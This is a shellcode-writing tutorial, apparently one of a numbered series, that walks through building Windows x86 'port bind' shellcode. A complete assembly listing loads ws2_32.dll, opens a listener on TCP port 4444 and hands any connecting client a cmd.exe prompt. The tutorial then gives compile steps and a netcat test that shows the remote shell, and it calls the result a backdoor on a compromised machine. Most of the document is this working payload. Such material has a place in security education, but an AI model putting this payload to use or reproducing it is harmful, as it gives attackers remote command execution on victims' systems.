Shellcode Tutorial 7: Introduction to Sockets - Portbind Shellcode


Introduction

This tutorial provides an introduction into network shellcode. The shellcode shows how to load libraries dynamically, and find functions within those libraries. It then proceeds to implement the "Port Bind" shellcode where a listening socket is setup to connect remote attackers to a local command prompt.

A lot of the code was pulled and learned from the following awesome paper with some slight modifications.

    - http://www.hick.org/code/skape/papers/win32-shellcode.pdf
    (Project Shellcode Download: http://projectshellcode.com/downloads/http___www.hick.org_code_skape_pap...)


Our Aim

The first stage of this shellcode will perform the same steps as the previous tutorial, where Kernel32.dll is located and functions located. In this case the following functions will be required:

    - LoadLibraryA
    - CreateProcessA
    - ExitProcess

The main difference with this process is that we need to find networking functions, which are not located in Kernel32.dll. This means that we need to load "ws2_32.dll" using LoadLibraryA, which contains the following functions that we want to call:

    - WSASocketA
    - bind
    - socket
    - accept
    - WSAStartup

Function hashes need to be created for all of these functions, which has been shown in previous tutorials.

Each of these networking functions are then used to setup a listening port that is ready to accept connections. Once a connection is made by the attacker, their client socket is connected to a new command shell process allowing them to send remote commands to the system.


Do we need WSAStartup and ExitProcess?

The WSAStartup function is used to initialize the networking within a process. Since our "shellcodetest" programming won't have networking already enabled then we need to call this function from our shellcode.

If the shellcode was contained within an exploit that was exploiting a process that already had networking initialized (such as Internet Explorer, IIS or Apache) then this function could be left out to make the shellcode smaller.

Similarly if size was tight then ExitProcess could also be left out and the parent process would simply hang.

If either of these are taken out then you also need to update the "hash list length" within the shellcode for ws2_32 and Kernel32, respectively. This is noted in the shellcode below.


The Shellcode

+--------------- Start portbind.asm --------------+

;portbind.asm
[SECTION .text]

BITS 32

global _start

_start:

    jmp start_asm

;DEFINE FUNCTIONS

;FUNCTION: find_kernel32

find_kernel32:
    push esi
    xor eax, eax
    mov eax, [fs:eax+0x30]
    test eax, eax
    js find_kernel32_9x
find_kernel32_nt:
    mov eax, [eax + 0x0c]
    mov esi, [eax + 0x1c]
    lodsd
    mov eax, [eax + 0x8]
    jmp find_kernel32_finished
find_kernel32_9x:
    mov eax, [eax + 0x34]
    lea eax, [eax + 0x7c]
    mov eax, [eax + 0x3c]
find_kernel32_finished:
    pop esi
    ret

;END FUNCTION: find_kernel32

;FUNCTION: find_function

find_function:
    pushad
    mov ebp, [esp + 0x24]
    mov eax, [ebp + 0x3c]
    mov edx, [ebp + eax + 0x78]
    add edx, ebp
    mov ecx, [edx + 0x18]
    mov ebx, [edx + 0x20]
    add ebx, ebp
find_function_loop:
    jecxz find_function_finished
    dec ecx
    mov esi, [ebx + ecx * 4]
    add esi, ebp
    
compute_hash:
    xor edi, edi
    xor eax, eax
    cld
compute_hash_again:
    lodsb
    test al, al
    jz compute_hash_finished
    ror edi, 0xd
    add edi, eax
    jmp compute_hash_again
compute_hash_finished:
find_function_compare:
    cmp edi, [esp + 0x28]
    jnz find_function_loop
    mov ebx, [edx + 0x24]
    add ebx, ebp
    mov cx, [ebx + 2 * ecx]
    mov ebx, [edx + 0x1c]
    add ebx, ebp
    mov eax, [ebx + 4 * ecx]
    add eax, ebp
    mov [esp + 0x1c], eax
find_function_finished:
    popad
    ret
    
;END FUNCTION: find_function

;FUNCTION: resolve_symbols_for_dll

resolve_symbols_for_dll:
    lodsd
    push eax
    push edx
    call find_function
    mov [edi], eax
    add esp, 0x08
    add edi, 0x04
    cmp esi, ecx
    jne resolve_symbols_for_dll
resolve_symbols_for_dll_finished:
    ret

;END FUNCTION: resolve_symbols_for_dll

;DEFINE CONSTANTS
    
locate_kernel32_hashes:
    call locate_kernel32_hashes_return

    ;LoadLibraryA
    db 0x8e
    db 0x4e
    db 0x0e
    db 0xec

    ;CreateProcessA
    db 0x72
    db 0xfe
    db 0xb3
    db 0x16

    ;ExitProcess
    db 0x7e
    db 0xd8
    db 0xe2
    db 0x73

;locate_ws2_32_hashes:

    ;WSASocketA
    db 0xd9
    db 0x09
    db 0xf5
    db 0xad

    ;bind
    db 0xa4
    db 0x1a
    db 0x70
    db 0xc7

    ;socket
    db 0xa4
    db 0xad
    db 0x2e
    db 0xe9

    ;accept
    db 0xe5
    db 0x49
    db 0x86
    db 0x49

    ;WSAStartup
    db 0xcb
    db 0xed
    db 0xfc
    db 0x3b

;END DEFINE CONSTANTS

start_asm: ; start our main program

    sub esp, 0x08 ; allocate space on stack for function addresses
    mov ebp, esp ; set ebp as frame ptr for relative offset on stack

    call find_kernel32 ;find address of Kernel32.dll
    mov edx, eax

    ;resolve kernel32 symbols
    jmp short locate_kernel32_hashes ;locate address of our hashes
locate_kernel32_hashes_return: ;define return label to return to this code
    pop esi ;get constants address from stack
    lea edi, [ebp + 0x04] ;this is where we store our function addresses
    mov ecx, esi
    add ecx, 0x0C ;length of kernel32 hash list
    call resolve_symbols_for_dll

    ;resolve ws2_32 symbols
add ecx, 0x14 ;length of ws2_32 hash list

    ;create the string ws2_32 on the stack
xor eax, eax
mov ax, 0x3233
push eax
push dword 0x5f327377
mov ebx, esp ;ebx now points to "ws2_32"

push ecx
push edx
push ebx
call [ebp + 0x04] ;call LoadLibraryA(ws2_32)

pop edx ;edx now holds location of ws2_32.dll
pop ecx
mov edx, eax
call resolve_symbols_for_dll

initialize_cmd: ;push the string "cmd" onto the stack
    mov eax, 0x646d6301
    sar eax, 0x08
    push eax
    mov [ebp + 0x34], esp

WSAStartup: ;initialise networking
    
    xor edx,edx ;make some stack space
    mov dh, 0x03 ;sizeof(WSADATA) is 0x190
    sub esp, edx

     ;initialize winsock
    push esp ;use stack for WSADATA
    push 0x02 ;wVersionRequested
    call [ebp + 20h] ;call WSAStartup

    add esp, 0x0300 ;move esp over WSAData

create_socket:
    xor eax, eax ;zero eax
    push eax ;Push the dwFlags argument to WSASocket as 0.
    push eax ;Push the g argument to WSASocket as 0.
    push eax ;Push the lpProtocolInfo argument to WSASocket as NULL.
    push eax ;Push the protocol argument to WSASocket as 0.
    inc eax ;Increment eax to 1.
    push eax ;Push the type argument to WSASocket as SOCK STREAM.
    inc eax ;Increment eax to 2.
    push eax ;Push the af argument to WSASocket as AF INET.
    call [ebp + 0x10] ;Call WSASocket to allocate a socket for later use.
    mov esi, eax ;Save the socket file descriptor in esi.

bind:
    xor eax, eax ;Zero eax for use as passing zerod arguments
    xor ebx, ebx ;Zero ebx.
    push eax ;Push zero.
    push eax ;Push zero.
    push eax ;Push the sin addr attribute of struct sockaddr in.
    mov eax, 0x5c110102 ;Set the high order bytes of eax to the port that is to be bound to and the low order bytes to AF INET.
    dec ah ;Fix the sin family attribute such that it is set appropriately.
    push eax ;Push the sin port and sin family attributes.
    mov eax, esp ;Set eax to the pointer to the initialized struct sockaddr in structure.
    mov bl, 0x10 ;Set the low order byte of ebx to 0x10 to signify the size of the structure.
    push ebx ;Push the namelen argument as 0x10.
    push eax ;Push the name argument as the pointer to the struct sockaddr in structure.
    push esi ;Push the file descriptor that was returned from WSASocket
    call [ebp + 0x14] ;Call bind to bind to the selected port.

listen:
    push ebx ;Push 0x10 for use as the backlog argument to listen.
    push esi ;Push the file descriptor that was returned from WSASocket.
    call [ebp + 0x18] ;Call listen to begin listening on the port that was just bound to.

accept:
    push ebx ;Push 0x10 onto the stack.
    mov edx, esp ;Save the pointer to 0x10 in edx.
    sub esp, ebx ;Allocate 16 bytes of stack space for use as the output addr to the accept call.
    mov ecx, esp ;Save the pointer to the output buffer in ecx.
    push edx ;Push the addrlen argument as the pointer to the 0x10 on the stack.
    push ecx ;Push text addr argument as the pointer to the output struct sockaddr in on the stack
    push esi ;Push the file descriptor that was returned by WSASocket.
    call [ebp + 0x1c] ;Call accept and wait for a client connection to arrive. The client connection will be used for the redirected output from the command interpreter.
    mov esi, eax ;Save the client file descriptor in esi.

initialize_process:
    xor ecx, ecx ;Zero ecx.
    mov cl, 0x54 ;Set the low order byte of ecx to 0x54 which will be used to represent the size of the STARTUPINFO and PROCESS INFORMATION structures on the stack.
    sub esp, ecx ;Allocate stack space for the two structures.
    mov edi, esp ;Set edi to point to the STARTUPINFO structure.
    push edi ;Preserve edi on the stack as it will be modified by the following instructions.
zero_structs:
    xor eax, eax ;Zero eax to for use with stosb to zero out the two structures.
    rep stosb ;Repeat storing zero at the buffer starting at edi until ecx is zero.
    pop edi ;Restore edi to its original value.
initialize_structs:
    mov byte[edi], 0x44 ;Set the cb attribute of STARTUPINFO to 0x44 (the size of the structure).
    inc byte[edi + 0x2d] ;Set the STARTF USESTDHANDLES flag to indicate that the hStdInput, hStdOutput, and hStdError attributes should be used.
    push edi ;Preserve edi again as it will be modified by the stosd.
    mov eax, esi ;Set eax to the client file descriptor that was returned by accept
    lea edi, [edi + 0x38] ;Load the effective address of the hStdInput attribute in the STARTUPINFO structure.
    stosd ;Set the hStdInput attribute to the file descriptor returned from accept.
    stosd ;Set the hStdOutput attribute to the file descriptor returned from accept.
    stosd ;Set the hStdError attribute to the file descriptor returned from accept.
    pop edi ;Restore edi to its original value.
execute_process:
    xor eax, eax ;Zero eax for use with passing zerod arguments.
    lea esi, [edi + 0x44] ;Load the effective address of the PROCESS INFORMATION structure into esi.
    push esi ;Push the pointer to the lpProcessInformation structure.
    push edi ;Push the pointer to the lpStartupInfo structure.
    push eax ;Push the lpStartupDirectory argument as NULL.
    push eax ;Push the lpEnvironment argument as NULL
    push eax ;Push the dwCreationFlags argument as 0.
    inc eax ;Increment eax to 1.
    push eax ;Push the bInheritHandles argument as TRUE due to the fact that the client needs to inherit the socket file descriptor.
    dec eax ;Decrement eax back to zero.
    push eax ;Push the lpThreadAttributes argument as NULL.
    push eax ;Push the lpProcessAttributes argument as NULL.
    push dword [ebp + 0x34] ;Push the lpCommandLine argument as the pointer to cmd.
    push eax ;Push the lpApplicationName argument as NULL.
    call [ebp + 0x08] ;Call CreateProcessA to created the child process that has its input and output redirected from and to the remote machine via the TCP connection.

exit_process:
    call [ebp + 0x0c] ;Call ExitProcess as the parent no longer needs to execute

+--------------- End portbind.asm --------------+


Compiling the Assembly Code

You can now use the following "shellcode-compiler.sh" command to compile this shellcode and automatically create a test executable. You should have downloaded this script and any other required scripts and programs in Tutorial 1.

    $ ./shellcode-compiler.sh portbind.asm
    
    Compiling portbind.asm to portbind.bin
    [nasm -f bin -o portbind.bin portbind.asm]
    
    Converting portbind.bin to portbind.shellcode
    [./xxd-shellcode.sh portbind.asm]
    \xXX\xXX\xXX\xXX\xXX...[snip]...\xXX\xXX\xXX\xXX\xXX
    
    Creating portbind.shellcodetest.c
    
    Compiling portbind.shellcodetest.c to portbind.shellcodetest[.exe]
    [gcc -o portbind.shellcodetest portbind.shellcodetest.c]
    
    Complete. You can now execute ./portbind.shellcodetest[.exe]
    
    Enjoy,
    Ty Miller
    www.projectshellcode.com

You should now be ready to test the shellcode.


Testing the shellcode

Before we run this program, we want to show that our port 4444/TCP is not currently listening on your local system by running the following command:

    # netstat -an | grep 4444
    (should return nothing listening)

You should now be able to execute your shellcode via the test program "./portbind.shellcodetest". The shellcode is designed to setup a listener on port 4444/TCP, which waits for a connection and then redirects that connection to "cmd.exe", and then the parent process should exit cleanly.

    # ./portbind.shellcodetest
    (it should sit there waiting for a client to connect)

You should now open up a second bash terminal and make a connection to this port using either telnet or netcat (nc). We will use netcat, as shown below:

    # nc -v localhost 4444
    Microsoft Windows XP [Version 5.1.2600]
    (C) Copyright 1985-2001 Microsoft Corp.
    
    C:\Documents and Settings\Administrator>

If you see a Windows command prompt then you have succeeded.


Clean Up

You should make sure that you kill any portbind process either using the kill program in cygwin, or by using the Windows Task Manager.


Congratulations!

You have just created shellcode that loads ws2_32.dll, initializes networking, and then sets up a backdoor listener that redirects connections to a command prompt on the compromised box.

You are now setup to write networked shellcode! The next step is to create "Connectback" shellcode that initializes a connection back to the attacker. This is the next tutorial.